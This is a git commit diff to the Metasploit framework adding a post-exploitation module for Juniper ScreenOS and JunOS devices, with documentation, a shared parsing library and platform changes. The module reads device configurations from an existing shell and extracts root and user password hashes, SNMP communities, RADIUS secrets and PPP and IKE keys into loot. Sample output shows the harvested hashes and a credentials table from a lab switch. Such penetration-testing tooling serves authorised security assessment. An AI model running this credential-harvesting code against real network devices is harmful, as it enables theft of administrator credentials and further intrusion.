Land #9614, Juniper post enum module
parent
9be7bc9b21
commit
f6223c0193
|
@ -0,0 +1,131 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module has been tested on the following hardware/OS combinations.
|
||||
|
||||
* ScreenOS
|
||||
* JunOS
|
||||
* ex2200-48t-4g, JUNOS Base OS boot 12.3R7.7
|
||||
|
||||
The ex2200 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_ex2200.config)
|
||||
|
||||
This module will look for the follow parameters which contain credentials:
|
||||
|
||||
* ScreenOS
|
||||
* JunOS
|
||||
* root-authentication
|
||||
* user
|
||||
* SNMP
|
||||
* radius
|
||||
* pptp/ppp (pap)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a shell
|
||||
3. Do: ```use post/juniper/gather/enum_juniper```
|
||||
4. Do: ```set session [id]```
|
||||
5. Do: ```set verbose true```
|
||||
6. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ex2200-48t-4g, JUNOS Base OS boot 12.3R7.7
|
||||
|
||||
#### root Login (SSH Shell)
|
||||
|
||||
```
|
||||
[*] In an SSH shell
|
||||
[*] Getting version information
|
||||
[*] Original OS Guess junos, is now JunOS 12.3R7.7
|
||||
[*] The device OS is junos
|
||||
[+] Config information stored in to loot /root/.msf4/loot/20180220201446_default_192.168.1.5_juniper.junos.co_197469.txt
|
||||
[*] Gathering info from cli show configuration
|
||||
[+] Saving to /root/.msf4/loot/20180220201451_default_192.168.1.5_juniper.get_conf_465493.txt
|
||||
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
|
||||
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
|
||||
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
|
||||
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
|
||||
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
|
||||
[+] SNMP community read with permissions read-only
|
||||
[+] SNMP community public with permissions read-only
|
||||
[+] SNMP community private with permissions read-write
|
||||
[+] SNMP community secretsauce with permissions read-write
|
||||
[+] SNMP community hello there with permissions read-write
|
||||
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
|
||||
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
|
||||
[*] Post module execution completed
|
||||
msf5 post(juniper/gather/enum_juniper) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp root Juniper Password
|
||||
192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) read Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) public Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) private Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password
|
||||
192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash
|
||||
```
|
||||
|
||||
#### cli Login
|
||||
|
||||
```
|
||||
[+] 192.168.1.5:22 - Success: 'newuser:Newuser' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]'
|
||||
[*] Command shell session 2 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2018-02-19 21:32:20 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (juniper_ex2200.rc)> use post/juniper/gather/enum_juniper
|
||||
resource (juniper_ex2200.rc)> set session 2
|
||||
session => 2
|
||||
resource (juniper_ex2200.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (juniper_ex2200.rc)> run
|
||||
[*] In a cli shell
|
||||
[*] Getting version information
|
||||
[*] Original OS Guess junos, is now JunOS 12.3R7.7
|
||||
[*] The device OS is junos
|
||||
[+] Config information stored in to loot /root/.msf4/loot/20180219213231_default_192.168.1.5_juniper.junos.co_752483.txt
|
||||
[*] Gathering info from show configuration
|
||||
[+] Saving to /root/.msf4/loot/20180219213236_default_192.168.1.5_juniper.get_conf_613948.txt
|
||||
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
|
||||
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
|
||||
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
|
||||
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
|
||||
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
|
||||
[+] SNMP community read with permissions read-only
|
||||
[+] SNMP community public with permissions read-only
|
||||
[+] SNMP community private with permissions read-write
|
||||
[+] SNMP community secretsauce with permissions read-write
|
||||
[+] SNMP community hello there with permissions read-write
|
||||
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
|
||||
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
|
||||
[*] Post module execution completed
|
||||
resource (juniper_ex2200.rc)> creds -d
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser Newuser Password
|
||||
192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) read Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) public Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) private Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password
|
||||
192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password
|
||||
192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash
|
||||
```
|
||||
|
|
@ -113,12 +113,23 @@ module Metasploit
|
|||
begin
|
||||
Timeout.timeout(5) do
|
||||
proof = ssh_socket.exec!("id\n").to_s
|
||||
if(proof =~ /id=/)
|
||||
if (proof =~ /id=/)
|
||||
proof << ssh_socket.exec!("uname -a\n").to_s
|
||||
if (proof =~/JUNOS /)
|
||||
# We're in the SSH shell for a Juniper JunOS, we can pull the version from the cli
|
||||
# line 2 is hostname, 3 is model, 4 is the Base OS version
|
||||
proof = ssh_socket.exec!("cli show version\n").split("\n")[2..4].join(", ").to_s
|
||||
end
|
||||
else
|
||||
# Cisco IOS
|
||||
if proof =~ /Unknown command or computer name/
|
||||
proof = ssh_socket.exec!("ver\n").to_s
|
||||
# Juniper ScreenOS
|
||||
elsif proof =~ /unknown keyword/
|
||||
proof = ssh_socket.exec!("get chassis\n").to_s
|
||||
# Juniper JunOS CLI
|
||||
elsif proof =~ /unknown command: id/
|
||||
proof = ssh_socket.exec!("show version\n").split("\n")[2..4].join(", ").to_s
|
||||
else
|
||||
proof << ssh_socket.exec!("help\n?\n\n\n").to_s
|
||||
end
|
||||
|
|
|
@ -0,0 +1,257 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with Juniper equipment
|
||||
#
|
||||
###
|
||||
module Auxiliary::Juniper
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def create_credential_and_login(opts={})
|
||||
return nil unless active_db?
|
||||
|
||||
if self.respond_to?(:[]) and self[:task]
|
||||
opts[:task_id] ||= self[:task].record.id
|
||||
end
|
||||
|
||||
core = opts.fetch(:core, create_credential(opts))
|
||||
access_level = opts.fetch(:access_level, nil)
|
||||
last_attempted_at = opts.fetch(:last_attempted_at, nil)
|
||||
status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED)
|
||||
|
||||
login_object = nil
|
||||
retry_transaction do
|
||||
service_object = create_credential_service(opts)
|
||||
login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize
|
||||
|
||||
if opts[:task_id]
|
||||
login_object.tasks << Mdm::Task.find(opts[:task_id])
|
||||
end
|
||||
|
||||
login_object.access_level = access_level if access_level
|
||||
login_object.last_attempted_at = last_attempted_at if last_attempted_at
|
||||
if status == Metasploit::Model::Login::Status::UNTRIED
|
||||
if login_object.last_attempted_at.nil?
|
||||
login_object.status = status
|
||||
end
|
||||
else
|
||||
login_object.status = status
|
||||
end
|
||||
login_object.save!
|
||||
end
|
||||
|
||||
login_object
|
||||
end
|
||||
|
||||
|
||||
def juniper_screenos_config_eater(thost, tport, config)
|
||||
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
|
||||
# It is similar to cisco, however it doesn't always put all fields we care
|
||||
# about on one line.
|
||||
# Docs: snmp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB4223
|
||||
# ppp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB22592
|
||||
# ike -> https://kb.juniper.net/KB4147
|
||||
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L171
|
||||
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: self.fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
|
||||
|
||||
# admin name and password
|
||||
# Example lines:
|
||||
# set admin name "netscreen"
|
||||
# set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
|
||||
config.scan(/set admin name "(?<admin_name>[a-z0-9]+)".+set admin password "(?<admin_password_hash>.+)"/mi).each do |result|
|
||||
admin_name = result[0].strip
|
||||
admin_hash = result[1].strip
|
||||
print_good("Admin user #{admin_name} found with password hash #{admin_hash}")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = admin_name
|
||||
cred[:private_data] = admin_hash
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# user account
|
||||
# Example lines:
|
||||
# set user "testuser" uid 1
|
||||
# set user "testuser" type auth
|
||||
# set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
|
||||
# set user "testuser" enable
|
||||
config.scan(/set user "(?<user_name>[a-z0-9]+)" uid (?<user_uid>\d+).+set user "\k<user_name>" type (?<user_type>\w+).+set user "\k<user_name>" hash-password "(?<user_hash>[0-9a-z=]{38})".+set user "\k<user_name>" (?<user_enable>enable).+/mi).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[1].strip
|
||||
user_hash = result[2].strip
|
||||
user_enable = result[3].strip
|
||||
print_good("User #{user_uid} named #{user_name} found with password hash #{user_hash}. Enable permission: #{user_enable}")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:private_data] = user_hash
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# snmp
|
||||
# Example lines:
|
||||
# set snmp community "sales" Read-Write Trap-on traffic version v1
|
||||
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}")
|
||||
cred = credential_data.dup
|
||||
if stype.downcase == 'read-write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:service_name] = 'snmp'
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ppp
|
||||
# Example lines:
|
||||
# setppp profile "ISP" auth type pap
|
||||
# setppp profile "ISP" auth local-name "username"
|
||||
# setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="
|
||||
config.scan(/setppp profile "(?<ppp_name>[a-z0-9]+)" auth type (?<ppp_authtype>[a-z]+).+setppp profile "\k<ppp_name>" auth local-name "(?<ppp_username>[a-z0-9]+)".+setppp profile "\k<ppp_name>" auth secret "(?<ppp_hash>.+)"/i).each do |result|
|
||||
ppp_name = result[0].strip
|
||||
ppp_username = result[1].strip
|
||||
ppp_hash = result[2].strip
|
||||
ppp_authtype = result[3].strip
|
||||
print_good("PPTP Profile #{ppp_name} with username #{ppp_username} hash #{ppp_hash} via #{ppp_authtype}")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'PPTP'
|
||||
cred[:port] = 1723
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ike
|
||||
# Example lines:
|
||||
# set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"
|
||||
config.scan(/set ike gateway "(?<ike_name>.+)" address (?<ike_address>[0-9.]+) Main outgoing-interface ".+" preshare "(?<ike_password>.+)" proposal "(?<ike_method>.+)"/i).each do |result|
|
||||
ike_name = result[0].strip
|
||||
ike_address = result[1].strip
|
||||
ike_password = result[2].strip
|
||||
ike_method = result[3].strip
|
||||
print_good("IKE Profile #{ike_name} to #{ike_address} with password #{ike_password} via #{ike_method}")
|
||||
cred = credential_data.dup
|
||||
cred[:private_data] = ike_password
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'IKE'
|
||||
cred[:port] = 500
|
||||
cred[:protocol] = 'udp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def juniper_junos_config_eater(thost, tport, config)
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: self.fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
|
||||
|
||||
# we'll take out the pretty format so its easier to regex
|
||||
config = config.split("\n").join('')
|
||||
|
||||
if /root-authentication[\s]+\{[\s]+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
|
||||
root_hash = root_hash.strip
|
||||
print_good("root password hash: #{root_hash}")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = 'root'
|
||||
cred[:private_data] = root_hash
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# access privileges https://kb.juniper.net/InfoCenter/index?page=content&id=KB10902
|
||||
config.scan(/user (?<user_name>[^\s]+) {[\s]+ uid (?<user_uid>[\d]+);[\s]+ class (?<user_permission>super-user|operator|read-only|unauthorized);[\s]+ authentication {[\s]+encrypted-password "(?<user_hash>[^\s]+)";/i).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[1].strip
|
||||
user_permission = result[2].strip
|
||||
user_hash = result[3].strip
|
||||
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:private_data] = user_hash
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# https://supportf5.com/csp/article/K6449 special characters allowed in snmp community strings
|
||||
config.scan(/community "?(?<snmp_community>[\w\d\s\(\)\.\*\/-:_\?=@\,&%\$]+)"? {[\s]+authorization read-(?<snmp_permission>only|write)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions read-#{snmp_permissions}")
|
||||
cred = credential_data.dup
|
||||
if snmp_permissions.downcase == 'write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'snmp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
config.scan(/radius-server \{[\s]+(?<radius_server>[0-9\.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
|
||||
radius_hash = result[1].strip
|
||||
radius_server = result[0].strip
|
||||
print_good("radius server #{radius_server} password hash: #{radius_hash}")
|
||||
cred = credential_data.dup
|
||||
cred[:address] = radius_server
|
||||
cred[:port] = 1812
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:private_data] = radius_hash
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
cred[:service_name] = 'radius'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
config.scan(/pap {[\s]+local-name "(?<ppp_username>.+)";[\s]+local-password "(?<ppp_hash>[^"]+)";/i).each do |result|
|
||||
ppp_username = result[0].strip
|
||||
ppp_hash = result[1].strip
|
||||
print_good("PPTP username #{ppp_username} hash #{ppp_hash} via PAP")
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'pptp'
|
||||
cred[:port] = 1723
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -20,6 +20,7 @@ require 'msf/core/auxiliary/commandshell'
|
|||
require 'msf/core/auxiliary/login'
|
||||
require 'msf/core/auxiliary/rservices'
|
||||
require 'msf/core/auxiliary/cisco'
|
||||
require 'msf/core/auxiliary/juniper'
|
||||
require 'msf/core/auxiliary/kademlia'
|
||||
require 'msf/core/auxiliary/llmnr'
|
||||
require 'msf/core/auxiliary/mdns'
|
||||
|
|
|
@ -383,6 +383,14 @@ class Msf::Module::Platform
|
|||
Alias = "cisco"
|
||||
end
|
||||
|
||||
#
|
||||
# Juniper
|
||||
#
|
||||
class Juniper < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "juniper"
|
||||
end
|
||||
|
||||
#
|
||||
# Solaris
|
||||
#
|
||||
|
|
|
@ -74,6 +74,7 @@ class Msf::Payload::UUID
|
|||
23 => 'firefox',
|
||||
24 => 'r',
|
||||
25 => 'apple_ios',
|
||||
26 => 'juniper',
|
||||
}
|
||||
|
||||
# The raw length of the UUID structure
|
||||
|
|
|
@ -88,6 +88,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
s.platform = "windows"
|
||||
when /Unknown command or computer name/
|
||||
s.platform = "cisco-ios"
|
||||
when /unknown keyword/ # ScreenOS
|
||||
s.platform = "juniper"
|
||||
when /JUNOS Base OS/ #JunOS
|
||||
s.platform = "juniper"
|
||||
end
|
||||
|
||||
s
|
||||
|
|
|
@ -107,6 +107,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
s.platform = "windows"
|
||||
when /Unknown command or computer name/
|
||||
s.platform = "cisco-ios"
|
||||
when /unknown keyword/ # ScreenOS
|
||||
s.platform = "juniper"
|
||||
when /JUNOS Base OS/ #JunOS
|
||||
s.platform = "juniper"
|
||||
end
|
||||
|
||||
s
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/auxiliary/juniper'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Auxiliary::Juniper
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Juniper Gather Device General Information',
|
||||
'Description' => %q{
|
||||
This module collects a Juniper ScreenOS and JunOS device information and configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die'],
|
||||
'Platform' => [ 'juniper'],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
|
||||
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
# Get device prompt
|
||||
prompt = session.shell_command("")
|
||||
|
||||
os_type = 'junos'
|
||||
command_prefix = ''
|
||||
if prompt.end_with?('% ') # we're in an SSH shell
|
||||
vprint_status('In an SSH shell')
|
||||
command_prefix = 'cli '
|
||||
elsif prompt.end_with?('-> ') # hit cli of ScreenOS, change the os_type
|
||||
os_type = 'screenos'
|
||||
elsif prompt.end_with?('> ') # cli of JunOS
|
||||
vprint_status('In a cli shell')
|
||||
elsif prompt.end_with?('# ') # we're in a cli>configure
|
||||
vprint_status('In a cli>configure shell')
|
||||
session.shell_command('quit') # gets us back to the cli non-config
|
||||
else
|
||||
# we weren't able to detect. try a command to see if it will confirm an ssh shell
|
||||
if session.shell_command('?') =~ /\?: No match\./ # confirmed ssh shell
|
||||
vprint_status('In an SSH shell')
|
||||
command_prefix = 'cli '
|
||||
end
|
||||
end
|
||||
|
||||
if os_type == 'screenos'
|
||||
# Set terminal length to 0 so no paging is required
|
||||
session.shell_write("term len 0 \n")
|
||||
end
|
||||
|
||||
# Get version info
|
||||
print_status('Getting version information')
|
||||
get_system_cmd = os_type.eql?('screenos') ? 'get system' : 'show configuration'
|
||||
get_system_cmd = command_prefix + get_system_cmd
|
||||
system_out = session.shell_command(get_system_cmd)
|
||||
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L2
|
||||
# https://kb.juniper.net/InfoCenter/index?page=content&id=KB6489
|
||||
if /^Product Name: (?<ver>SSG|NetScreen)/i =~ system_out
|
||||
vprint_status("Original OS Guess #{os_type}, is now ScreenOS #{ver}")
|
||||
os_type = 'screenos'
|
||||
elsif /^Product Name: (?<ver>.+)/i =~ system_out
|
||||
vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")
|
||||
os_type = 'junos'
|
||||
elsif /^version (?<ver>[\.\dR]+);/i =~ system_out
|
||||
vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")
|
||||
os_tye = 'junos'
|
||||
end
|
||||
|
||||
print_status("The device OS is #{os_type}")
|
||||
|
||||
case os_type
|
||||
when /screenos/
|
||||
ver_loc = store_loot("juniper.screenos.config",
|
||||
"text/plain",
|
||||
session,
|
||||
system_out.strip,
|
||||
"config.txt",
|
||||
"Juniper ScreenOS Config")
|
||||
when /junos/
|
||||
ver_loc = store_loot("juniper.junos.config",
|
||||
"text/plain",
|
||||
session,
|
||||
system_out.strip,
|
||||
"config.txt",
|
||||
"Juniper JunOS Config")
|
||||
end
|
||||
|
||||
# Print the version of VERBOSE set to true.
|
||||
vprint_good("Config information stored in to loot #{ver_loc}")
|
||||
|
||||
# run additional information gathering
|
||||
enum_configs(prompt, os_type, command_prefix)
|
||||
end
|
||||
|
||||
# run commands found in exec mode under privilege 1
|
||||
def enum_configs(prompt, os_type, command_prefix)
|
||||
host,port = session.session_host, session.session_port
|
||||
exec_commands = [
|
||||
{
|
||||
'cmd' => {'junos' => 'show configuration', 'screenos' => 'get config'},
|
||||
'fn' => 'get_config',
|
||||
'desc' => 'Get Device Config on Juniper Device'
|
||||
},
|
||||
]
|
||||
exec_commands.each do |ec|
|
||||
command = command_prefix + ec['cmd'][os_type]
|
||||
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/,"")
|
||||
next if cmd_out =~ /unknown keyword/ #screenOS
|
||||
print_status("Gathering info from #{command}")
|
||||
cmd_loc = store_loot("juniper.#{ec['fn']}",
|
||||
"text/plain",
|
||||
session,
|
||||
cmd_out.strip,
|
||||
"#{ec['fn']}.txt",
|
||||
ec['desc'])
|
||||
vprint_good("Saving to #{cmd_loc}")
|
||||
if os_type == 'screenos'
|
||||
juniper_screenos_config_eater(host,port,cmd_out.strip)
|
||||
else os_type == 'junos'
|
||||
juniper_junos_config_eater(host,port,cmd_out.strip)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue